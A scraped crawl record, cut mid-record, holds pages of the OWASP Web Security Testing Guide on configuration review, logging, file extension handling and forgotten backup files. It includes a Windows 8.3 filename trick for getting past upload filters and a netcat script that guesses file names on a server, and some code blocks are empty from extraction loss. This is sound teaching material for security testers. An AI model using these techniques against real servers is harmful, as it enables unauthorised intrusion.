architecture.\n\nConfiguration review and testing is a critical task in creating and maintaining an architecture. This is because many different systems will be usually provided with generic configurations that might not be suited to the task they will perform on the specific site they’re installed on.\n\nWhile the typical web and application server installation will contain a lot of functionality (like application examples, documentation, test pages) what is not essential should be removed before deployment to avoid post-install exploitation.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Sample and Known Files and Directories\n\nMany web servers and application servers provide, in a default installation, sample applications and files for the benefit of the developer and in order to test that the server is working properly right after installation. However, many default web server applications have been later known to be vulnerable. This was the case, for example, for CVE-1999-0449 (Denial of Service in IIS when the Exair sample site had been installed), CAN-2002-1744 (Directory traversal vulnerability in CodeBrws.asp in Microsoft IIS 5.0), CAN-2002-1630 (Use of sendmail.jsp in Oracle 9iAS), or CAN-2003-1172 (Directory traversal in the view-source sample in Apache’s Cocoon).\n\nCGI scanners include a detailed list of known files and directory samples that are provided by different web or application servers and might be a fast way to determine if these files are present. However, the only way to be really sure is to do a full review of the contents of the web server or application server and determine of whether they are related to the application itself or not.\n\nIt is very common for programmers to add comments when developing large web-based applications. However, comments included inline in HTML code might reveal internal information that should not be available to an attacker. Sometimes, even source code is commented out since a functionality is no longer required, but this comment is leaked out to the HTML pages returned to the users unintentionally.\n\nComment review should be done in order to determine if any information is being leaked through comments. This review can only be thoroughly done through an analysis of the web server static and dynamic content and through file searches. It can be useful to browse the site either in an automatic or guided fashion and store all the content retrieved. This retrieved content can then be searched in order to analyse any HTML comments available in the code.\n\n#### System Configuration\n\nCIS-CAT gives IT and security professionals a fast, detailed assessment of target systems’ conformance to CIS Benchmarks. CIS also provides the recommended system configuration hardening guide including database, OS, Web server, visualization.\n\n- [1 CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [2 CIS Benchmarks Downloads](https://learn.cisecurity.org/benchmarks)\n\n### Gray-Box Testing\n\n#### Configuration Review\n\nThe web server or application server configuration takes an important role in protecting the contents of the site and it must be carefully reviewed in order to spot common configuration mistakes. Obviously, the recommended configuration varies depending on the site policy, and the functionality that should be provided by the server software. In most cases, however, configuration guidelines (either provided by the software vendor or external parties) should be followed to determine if the server has been properly secured.\n\nIt is impossible to generically say how a server should be configured, however, some common guidelines should be taken into account:\n\n- Only enable server modules (ISAPI extensions in the case of IIS) that are needed for the application. This reduces the attack surface since the server is reduced in size and complexity as software modules are disabled. It also prevents vulnerabilities that might appear in the vendor software from affecting the site if they are only present in modules that have been already disabled.\n- Handle server errors (40x or 50x) with custom-made pages instead of with the default web server pages. Specifically make sure that any application errors will not be returned to the end-user and that no code is leaked through these errors since it will help an attacker. It is actually very common to forget this point since developers do need this information in pre-production environments.\n- Make sure that the server software runs with minimized privileges in the operating system. This prevents an error in the server software from directly compromising the whole system, although an attacker could elevate privileges once running code as the web server.\n- Make sure the server software properly logs both legitimate access and errors.\n- Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks. Ensure that the server has been performance-tuned properly.\n- Never grant non-administrative identities (with the exception of `NT SERVICE\\WMSvc` ) access to applicationHost.config, redirection.config, and administration.config (either Read or Write access). This includes `Network Service` , `IIS_IUSRS` , `IUSR` , or any custom identity used by IIS application pools. IIS worker processes are not meant to access any of these files directly.\n- Never share out applicationHost.config, redirection.config, and administration.config on the network. When using Shared Configuration, prefer to export applicationHost.config to another location (see the section titled “Setting Permissions for Shared Configuration).\n- Keep in mind that all users can read .NET Framework `machine.config` and root `web.config` files by default. Do not store sensitive information in these files if it should be for administrator eyes only.\n- Encrypt sensitive information that should be read by the IIS worker processes only and not by other users on the machine.\n- Do not grant Write access to the identity that the Web server uses to access the shared `applicationHost.config` . This identity should have only Read access.\n- Use a separate identity to publish applicationHost.config to the share. Do not use this identity for configuring access to the shared configuration on the Web servers.\n- Use a strong password when exporting the encryption keys for use with shared -configuration.\n- Maintain restricted access to the share containing the shared configuration and encryption keys. If this share is compromised, an attacker will be able to read and write any IIS configuration for your Web servers, redirect traffic from your Web site to malicious sources, and in some cases gain control of all web servers by loading arbitrary code into IIS worker processes.\n- Consider protecting this share with firewall rules and IPsec policies to allow only the member web servers to connect.\n\n#### Logging\n\nLogging is an important asset of the security of an application architecture, since it can be used to detect flaws in applications (users constantly trying to retrieve a file that does not really exist) as well as sustained attacks from rogue users. Logs are typically properly generated by web and other server software. It is not common to find applications that properly log their actions to a log and, when they do, the main intention of the application logs is to produce debugging output that could be used by the programmer to analyze a particular error.\n\nIn both cases (server and application logs) several issues should be tested and analyzed based on the log contents:\n\n1. Do the logs contain sensitive information?\n2. Are the logs stored in a dedicated server?\n3. Can log usage generate a Denial of Service condition?\n4. How are they rotated? Are logs kept for the sufficient time?\n5. How are logs reviewed? Can administrators use these reviews to detect targeted attacks?\n6. How are log backups preserved?\n7. Is the data being logged data validated (min/max length, chars etc) prior to being logged?\n\n##### Sensitive Information in Logs\n\nSome applications might, for example, use GET requests to forward form data which will be seen in the server logs. This means that server logs might contain sensitive information (such as usernames as passwords, or bank account details). This sensitive information can be misused by an attacker if they obtained the logs, for example, through administrative interfaces or known web server vulnerabilities or misconfiguration (like the well-known `server-status` misconfiguration in Apache-based HTTP servers).\n\nEvent logs will often contain data that is useful to an attacker (information leakage) or can be used directly in exploits:\n\n- Debug information\n- Stack traces\n- Usernames\n- System component names\n- Internal IP addresses\n- Less sensitive personal data (e.g. email addresses, postal addresses and telephone numbers associated with named individuals)\n- Business data\n\nAlso, in some jurisdictions, storing some sensitive information in log files, such as personal data, might oblige the enterprise to apply the data protection laws that they would apply to their back-end databases to log files too. And failure to do so, even unknowingly, might carry penalties under the data protection laws that apply.\n\nA wider list of sensitive information is:\n\n- Application source code\n- Session identification values\n- Access tokens\n- Sensitive personal data and some forms of personally identifiable information (PII)\n- Authentication passwords\n- Database connection strings\n- Encryption keys\n- Bank account or payment card holder data\n- Data of a higher security classification than the logging system is allowed to store\n- Commercially-sensitive information\n- Information it is illegal to collect in the relevant jurisdiction\n- Information a user has opted out of collection, or not consented to e.g. use of do not track, or where consent to collect has expired\n\n#### Log Location\n\nTypically servers will generate local logs of their actions and errors, consuming the disk of the system the server is running on. However, if the server is compromised its logs can be wiped out by the intruder to clean up all the traces of its attack and methods. If this were to happen the system administrator would have no knowledge of how the attack occurred or where the attack source was located. Actually, most attacker tool kits include a ‘‘log zapper ‘’ that is capable of cleaning up any logs that hold given information (like the IP address of the attacker) and are routinely used in attacker’s system-level root kits.\n\nConsequently, it is wiser to keep logs in a separate location and not in the web server itself. This also makes it easier to aggregate logs from different sources that refer to the same application (such as those of a web server farm) and it also makes it easier to do log analysis (which can be CPU intensive) without affecting the server itself.\n\n#### Log Storage\n\nLogs can introduce a Denial of Service condition if they are not properly stored. Any attacker with sufficient resources could be able to produce a sufficient number of requests that would fill up the allocated space to log files, if they are not specifically prevented from doing so. However, if the server is not properly configured, the log files will be stored in the same disk partition as the one used for the operating system software or the application itself. This means that if the disk were to be filled up the operating system or the application might fail because it is unable to write on disk.\n\nTypically in UNIX systems logs will be located in /var (although some server installations might reside in /opt or /usr/local) and it is important to make sure that the directories in which logs are stored are in a separate partition. In some cases, and in order to prevent the system logs from being affected, the log directory of the server software itself (such as /var/log/apache in the Apache web server) should be stored in a dedicated partition.\n\nThis is not to say that logs should be allowed to grow to fill up the file system they reside in. Growth of server logs should be monitored in order to detect this condition since it may be indicative of an attack.\n\nTesting this condition is as easy, and as dangerous in production environments, as firing off a sufficient and sustained number of requests to see if these requests are logged and if there is a possibility to fill up the log partition through these requests. In some environments where QUERY_STRING parameters are also logged regardless of whether they are produced through GET or POST requests, big queries can be simulated that will fill up the logs faster since, typically, a single request will cause only a small amount of data to be logged, such as date and time, source IP address, URI request, and server result.\n\n#### Log Rotation\n\nMost servers (but few custom applications) will rotate logs in order to prevent them from filling up the file system they reside on. The assumption when rotating logs is that the information in them is only necessary for a limited amount of time.\n\nThis feature should be tested in order to ensure that:\n\n- Logs are kept for the time defined in the security policy, not more and not less.\n- Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be stored for the same available disk space).\n- File system permission of rotated log files are the same (or stricter) that those of the log files itself. For example, web servers will need to write to the logs they use but they don’t actually need to write to rotated logs, which means that the permissions of the files can be changed upon rotation to prevent the web server process from modifying these.\n\nSome servers might rotate logs when they reach a given size. If this happens, it must be ensured that an attacker cannot force logs to rotate in order to hide his tracks.\n\n#### Log Access Control\n\nEvent log information should never be visible to end users. Even web administrators should not be able to see such logs since it breaks separation of duty controls. Ensure that any access control schema that is used to protect access to raw logs and any applications providing capabilities to view or search the logs is not linked with access control schemas for other application user roles. Neither should any log data be viewable by unauthenticated users.\n\n#### Log Review\n\nReview of logs can be used for more than extraction of usage statistics of files in the web servers (which is typically what most log-based application will focus on), but also to determine if attacks take place at the web server.\n\nIn order to analyze web server attacks the error log files of the server need to be analyzed. Review should concentrate on:\n\n- 40x (not found) error messages. A large amount of these from the same source might be indicative of a CGI scanner tool being used against the web server\n- 50x (server error) messages. These can be an indication of an attacker abusing parts of the application which fail unexpectedly. For example, the first phases of a SQL injection attack will produce these error message when the SQL query is not properly constructed and its execution fails on the back end database.\n\nLog statistics or analysis should not be generated, nor stored, in the same server that produces the logs. Otherwise, an attacker might, through a web server vulnerability or improper configuration, gain access to them and retrieve similar information as would be disclosed by log files themselves.\n\n## References\n\n- Apache\n - Apache Security, by Ivan Ristic, O’reilly, March 2005.\n - [Apache Security Secrets: Revealed (Again), Mark Cox, November 2003](https://awe.com/mark/talks/apachecon2003us.html)\n - [Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002](https://awe.com/mark/talks/apachecon2002us.html)\n - [Performance Tuning](https://httpd.apache.org/docs/current/misc/perf-tuning.html)\n- Lotus Domino\n - Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection\n - Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002\n - Hackproofing Lotus Domino Web Server, David Litchfield, October 2001\n- Microsoft IIS\n - [Security Best Practices for IIS 8](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj635855(v=ws.11))\n - [CIS Microsoft IIS Benchmarks](https://www.cisecurity.org/benchmark/microsoft_iis/)\n - Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004\n - IIS Security and Programming Countermeasures, by Jason Coombs\n - From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001\n - Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000\n- Red Hat’s (formerly Netscape’s) iPlanet\n - Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes, The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001\n- WebSphere\n - IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.\n - IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002.\n- General\n - [Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html) , OWASP\n - [SP 800-92](https://csrc.nist.gov/publications/detail/sp/800-92/final) Guide to Computer Security Log Management, NIST\n - [PCI DSS v3.1](https://www.pcisecuritystandards.org/document_library) Requirement 10 and PA-DSS v2.0 Requirement 4, PCI Security Standards Council\n- Generic:\n - [CERT Security Improvement Modules: Securing Public Web Servers](https://resources.sei.cmu.edu/asset_files/SecurityImprovementModule/2000_006_001_13637.pdf)\n - [How To: Use IISLockdown.exe](https://support.microsoft.com/en-us/help/325864/how-to-install-and-use-the-iis-lockdown-wizard)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18166, "slov": 2795, "odkazu": 187, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:58", "sha256": "b13f2833b30490f474e84e49f4e3e1d491e0afce578cf770e9e2746bfae450fe", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.cisecurity.org/cis-benchmarks/", "https://learn.cisecurity.org/benchmarks", "https://awe.com/mark/talks/apachecon2003us.html", "https://awe.com/mark/talks/apachecon2002us.html", "https://httpd.apache.org/docs/current/misc/perf-tuning.html", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj635855(v=ws.11)", "https://www.cisecurity.org/benchmark/microsoft_iis/", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/800-92/final", "https://www.pcisecuritystandards.org/document_library", "https://resources.sei.cmu.edu/asset_files/SecurityImprovementModule/2000_006_001_13637.pdf", "https://support.microsoft.com/en-us/help/325864/how-to-install-and-use-the-iis-lockdown-wizard", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test File Extensions Handling for Sensitive Information"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Forced Browsing"}, {"uroven": 4, "text": "Example"}, {"uroven": 3, "text": "File Upload"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Test File Extensions Handling for Sensitive Information\n\n| ID |\n| --- |\n| WSTG-CONF-03 |\n\n## Summary\n\nFile extensions are commonly used in web servers to easily determine which technologies, languages and plugins must be used to fulfill the web request. While this behavior is consistent with RFCs and Web Standards, using standard file extensions provides the penetration tester useful information about the underlying technologies used in a web appliance and greatly simplifies the task of determining the attack scenario to be used on particular technologies. In addition, mis-configuration of web servers could easily reveal confidential information about access credentials.\n\nExtension checking is often used to validate files to be uploaded, which can lead to unexpected results because the content is not what is expected, or because of unexpected OS file name handling.\n\nDetermining how web servers handle requests corresponding to files having different extensions may help in understanding web server behavior depending on the kind of files that are accessed. For example, it can help to understand which file extensions are returned as text or plain versus those that cause execution on the server side. The latter are indicative of technologies, languages or plugins that are used by web servers or application servers, and may provide additional insight on how the web application is engineered. For example, a “.pl” extension is usually associated with server-side Perl support. However, the file extension alone may be deceptive and not fully conclusive. For example, Perl server-side resources might be renamed to conceal the fact that they are indeed Perl related. See the next section on “web server components” for more on identifying server side technologies and components.\n\n## How to Test\n\n### Forced Browsing\n\nSubmit requests with different file extensions and verify how they are handled. The verification should be on a per web directory basis. Verify directories that allow script execution. Web server directories can be identified by scanning tools which look for the presence of well-known directories. In addition, mirroring the web site structure allows the tester to reconstruct the tree of web directories served by the application.\n\nIf the web application architecture is load-balanced, it is important to assess all of the web servers. This may or may not be easy, depending on the configuration of the balancing infrastructure. In an infrastructure with redundant components there may be slight variations in the configuration of individual web or application servers. This may happen if the web architecture employs heterogeneous technologies (think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behavior between them, and possibly different vulnerabilities).\n\n#### Example\n\nThe tester has identified the existence of a file named `connection.inc`. Trying to access it directly gives back its contents, which are:\n\n```\n \n```\n\nThe tester determines the existence of a MySQL DBMS back end, and the (weak) credentials used by the web application to access it.\n\nThe following file extensions should never be returned by a web server, since they are related to files which may contain sensitive information or to files for which there is no reason to be served.\n\n- .asa\n- .inc\n- .config\n\nThe following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.\n\n- .zip, .tar, .gz, .tgz, .rar, …: (Compressed) archive files\n- .java: No reason to provide access to Java source files\n- .txt: Text files\n- .pdf: PDF documents\n- .doc, .rtf, .xls, .ppt, …: Office documents\n- .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)\n\nThe list given above details only a few examples, since file extensions are too many to be comprehensively treated here. Refer to [https://filext.com](https://filext.com/) for a more thorough database of extensions.\n\nTo identify files having a given extensions a mix of techniques can be employed. THese techniques can include Vulnerability Scanners, spidering and mirroring tools, manually inspecting the application (this overcomes limitations in automatic spidering), querying search engines (see [Testing: Spidering and googling](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage)). See also [Testing for Old, Backup and Unreferenced Files](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information) which deals with the security issues related to “forgotten” files.\n\n### File Upload\n\nWindows 8.3 legacy file handling can sometimes be used to defeat file upload filters\n\nUsage Examples:\n\n```\nfile.phtml gets processed as PHP code\n\nFILE~1.PHT is served, but not processed by the PHP ISAPI handler\n\nshell.phPWND can be uploaded\n\nSHELL~1.PHP will be expanded and returned by the OS shell, then processed by the PHP ISAPI handler\n```\n\n### Gray-Box Testing\n\nPerforming white-box testing against file extensions handling amounts to checking the configurations of web servers or application servers taking part in the web application architecture, and verifying how they are instructed to serve different file extensions.\n\nIf the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behavior.\n\n## Tools\n\nVulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow the tester to download the web site structure, which is helpful when trying to determine the configuration of web directories and how individual file extensions are served. Other tools that can be used for this purpose include:\n\n- [wget](https://www.gnu.org/software/wget)\n- [curl](https://curl.haxx.se)\n- google for “web mirroring tools”.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6401, "slov": 915, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:59", "sha256": "343baade4579a0196f3ecac56e39dc07258b0fb27347a28b8baeb8b83a59aac2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://filext.com/", "https://www.gnu.org/software/wget", "https://curl.haxx.se/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Review Old Backup and Unreferenced Files for Sensitive Information"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Threats"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Inference from the Naming Scheme Used for Published Content"}, {"uroven": 4, "text": "Other Clues in Published Content"}, {"uroven": 4, "text": "Blind Guessing"}, {"uroven": 4, "text": "Information Obtained Through Server Vulnerabilities and Misconfiguration"}, {"uroven": 4, "text": "Use of Publicly Available Information"}, {"uroven": 4, "text": "File Name Filter Bypass"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Review Old Backup and Unreferenced Files for Sensitive Information\n\n| ID |\n| --- |\n| WSTG-CONF-04 |\n\n## Summary\n\nWhile most of the files within a web server are directly handled by the server itself, it isn’t uncommon to find unreferenced or forgotten files that can be used to obtain important information about the infrastructure or the credentials.\n\nMost common scenarios include the presence of renamed old versions of modified files, inclusion files that are loaded into the language of choice and can be downloaded as source, or even automatic or manual backups in form of compressed archives. Backup files can also be generated automatically by the underlying file system the application is hosted on, a feature usually referred to as “snapshots”.\n\nAll these files may grant the tester access to inner workings, back doors, administrative interfaces, or even credentials to connect to the administrative interface or the database server.\n\nAn important source of vulnerability lies in files which have nothing to do with the application, but are created as a consequence of editing application files, or after creating on-the-fly backup copies, or by leaving in the web tree old files or unreferenced files.Performing in-place editing or other administrative actions on production web servers may inadvertently leave backup copies, either generated automatically by the editor while editing files, or by the administrator who is zipping a set of files to create a backup.\n\nIt is easy to forget such files and this may pose a serious security threat to the application. That happens because backup copies may be generated with file extensions differing from those of the original files. A `.tar`, `.zip` or `.gz` archive that we generate (and forget…) has obviously a different extension, and the same happens with automatic copies created by many editors (for example, emacs generates a backup copy named `file~` when editing `file`). Making a copy by hand may produce the same effect (think of copying `file` to `file.old`). The underlying file system the application is on could be making `snapshots` of your application at different points in time without your knowledge, which may also be accessible via the web, posing a similar but different `backup file` style threat to your application.\n\nAs a result, these activities generate files that are not needed by the application and may be handled differently than the original file by the web server. For example, if we make a copy of `login.asp` named `login.asp.old`, we are allowing users to download the source code of `login.asp`. This is because `login.asp.old` will be typically served as text or plain, rather than being executed because of its extension. In other words, accessing `login.asp` causes the execution of the server-side code of `login.asp`, while accessing `login.asp.old` causes the content of `login.asp.old` (which is, again, server-side code) to be plainly returned to the user and displayed in the browser. This may pose security risks, since sensitive information may be revealed.\n\nGenerally, exposing server side code is a bad idea. Not only are you unnecessarily exposing business logic, but you may be unknowingly revealing application-related information which may help an attacker (path names, data structures, etc.). Not to mention the fact that there are too many scripts with embedded username and password in clear text (which is a careless and very dangerous practice).\n\nOther causes of unreferenced files are due to design or configuration choices when they allow diverse kind of application-related files such as data files, configuration files, log files, to be stored in file system directories that can be accessed by the web server. These files have normally no reason to be in a file system space that could be accessed via web, since they should be accessed only at the application level, by the application itself (and not by the casual user browsing around).\n\n### Threats\n\nOld, backup and unreferenced files present various threats to the security of a web application:\n\n- Unreferenced files may disclose sensitive information that can facilitate a focused attack against the application; for example include files containing database credentials, configuration files containing references to other hidden content, absolute file paths, etc.\n- Unreferenced pages may contain powerful functionality that can be used to attack the application; for example an administration page that is not linked from published content but can be accessed by any user who knows where to find it.\n- Old and backup files may contain vulnerabilities that have been fixed in more recent versions; for example `viewdoc.old.jsp` may contain a directory traversal vulnerability that has been fixed in `viewdoc.jsp` but can still be exploited by anyone who finds the old version.\n- Backup files may disclose the source code for pages designed to execute on the server; for example requesting `viewdoc.bak` may return the source code for `viewdoc.jsp` , which can be reviewed for vulnerabilities that may be difficult to find by making blind requests to the executable page. While this threat obviously applies to scripted languages, such as Perl, PHP, ASP, shell scripts, JSP, etc., it is not limited to them, as shown in the example provided in the next bullet.\n- Backup archives may contain copies of all files within (or even outside) the webroot. This allows an attacker to quickly enumerate the entire application, including unreferenced pages, source code, include files, etc. For example, if you forget a file named `myservlets.jar.old` file containing (a backup copy of) your servlet implementation classes, you are exposing a lot of sensitive information which is susceptible to decompilation and reverse engineering.\n- In some cases copying or editing a file does not modify the file extension, but modifies the file name. This happens for example in Windows environments, where file copying operations generate file names prefixed with “Copy of “ or localized versions of this string. Since the file extension is left unchanged, this is not a case where an executable file is returned as plain text by the web server, and therefore not a case of source code disclosure. However, these files too are dangerous because there is a chance that they include obsolete and incorrect logic that, when invoked, could trigger application errors, which might yield valuable information to an attacker, if diagnostic message display is enabled.\n- Log files may contain sensitive information about the activities of application users, for example sensitive data passed in URL parameters, session IDs, URLs visited (which may disclose additional unreferenced content), etc. Other log files (e.g. ftp logs) may contain sensitive information about the maintenance of the application by system administrators.\n- File system snapshots may contain copies of the code that contain vulnerabilities that have been fixed in more recent versions. For example `/.snapshot/monthly.1/view.php` may contain a directory traversal vulnerability that has been fixed in `/view.php` but can still be exploited by anyone who finds the old version.\n\n## How to Test\n\n### Black-Box Testing\n\nTesting for unreferenced files uses both automated and manual techniques, and typically involves a combination of the following:\n\n#### Inference from the Naming Scheme Used for Published Content\n\nEnumerate all of the application’s pages and functionality. This can be done manually using a browser, or using an application spidering tool. Most applications use a recognizable naming scheme, and organize resources into pages and directories using words that describe their function. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For example, if a page `viewuser.asp` is found, then look also for `edituser.asp`, `adduser.asp` and `deleteuser.asp`. If a directory `/app/user` is found, then look also for `/app/admin` and `/app/manager`.\n\n#### Other Clues in Published Content\n\nMany web applications leave clues in published content that can lead to the discovery of hidden pages and functionality. These clues often appear in the source code of HTML and JavaScript files. The source code for all published content should be manually reviewed to identify clues about other pages and functionality. For example:\n\nProgrammers’ comments and commented-out sections of source code may refer to hidden content:\n\n```\n \n```\n\nJavaScript may contain page links that are only rendered within the user’s GUI under certain circumstances:\n\n```\nvar adminUser=false; if (adminUser) menu.add (new menuItem (\"Maintain users\", \"/admin/useradmin.jsp\")); \n```\n\nHTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:\n\n```\n
\n```\n\nAnother source of clues about unreferenced directories is the `/robots.txt` file used to provide instructions to web robots:\n\n```\nUser-agent: *\nDisallow: /Admin\nDisallow: /uploads\nDisallow: /backup\nDisallow: /~jbloggs\nDisallow: /include\n```\n\n#### Blind Guessing\n\nIn its simplest form, this involves running a list of common file names through a request engine in an attempt to guess files and directories that exist on the server. The following netcat wrapper script will read a wordlist from stdin and perform a basic guessing attack:\n\n```\n#!/bin/bash server=example.org\nport=80\n\nwhile read url\ndo\necho -ne \"$url\\t\" echo -e \"GET /$url HTTP/1.0\\nHost: $server\\n\" | netcat $server $port | head -1 done | tee outputfile\n```\n\nDepending upon the server, GET may be replaced with HEAD for faster results. The output file specified can be grepped for “interesting” response codes. The response code 200 (OK) usually indicates that a valid resource has been found (provided the server does not deliver a custom “not found” page using the 200 code). But also look out for 301 (Moved), 302 (Found), 401 (Unauthorized), 403 (Forbidden) and 500 (Internal error), which may also indicate resources or directories that are worthy of further investigation.\n\nThe basic guessing attack should be run against the webroot, and also against all directories that have been identified through other enumeration techniques. More advanced/effective guessing attacks can be performed as follows:\n\n- Identify the file extensions in use within known areas of the application (e.g. jsp, aspx, html), and use a basic wordlist appended with each of these extensions (or use a longer list of common extensions if resources permit).\n- For each file identified through other enumeration techniques, create a custom wordlist derived from that filename. Get a list of common file extensions (including ~, bak, txt, src, dev, old, inc, orig, copy, tmp, swp, etc.) and use each extension before, after, and instead of, the extension of the actual file name.\n\nNote: Windows file copying operations generate file names prefixed with “Copy of “ or localized versions of this string, hence they do not change file extensions. While “Copy of ” files typically do not disclose source code when accessed, they might yield valuable information in case they cause errors when invoked.\n\n#### Information Obtained Through Server Vulnerabilities and Misconfiguration\n\nThe most obvious way in which a misconfigured server may disclose unreferenced pages is through directory listing. Request all enumerated directories to identify any which provide a directory listing.\n\nNumerous vulnerabilities have been found in individual web servers which allow an attacker to enumerate unreferenced content, for example:\n\n- Apache ?M=D directory listing vulnerability.\n- Various IIS script source disclosure vulnerabilities.\n- IIS WebDAV directory listing vulnerabilities.\n\n#### Use of Publicly Available Information\n\nPages and functionality in Internet-facing web applications that are not referenced from within the application itself may be referenced from other public domain sources. There are various sources of these references:\n\n- Pages that used to be referenced may still appear in the archives of Internet search engines. For example, `1998results.asp` may no longer be linked from a company’s website, but may remain on the server and in search engine databases. This old script may contain vulnerabilities that could be used to compromise the entire site. The `site:` Google search operator may be used to run a query only against the domain of choice, such as in: `site:www.example.com` . Using search engines in this way has lead to a broad array of techniques which you may find useful and that are described in the `Google Hacking` section of this Guide. Check it to hone your testing skills via Google. 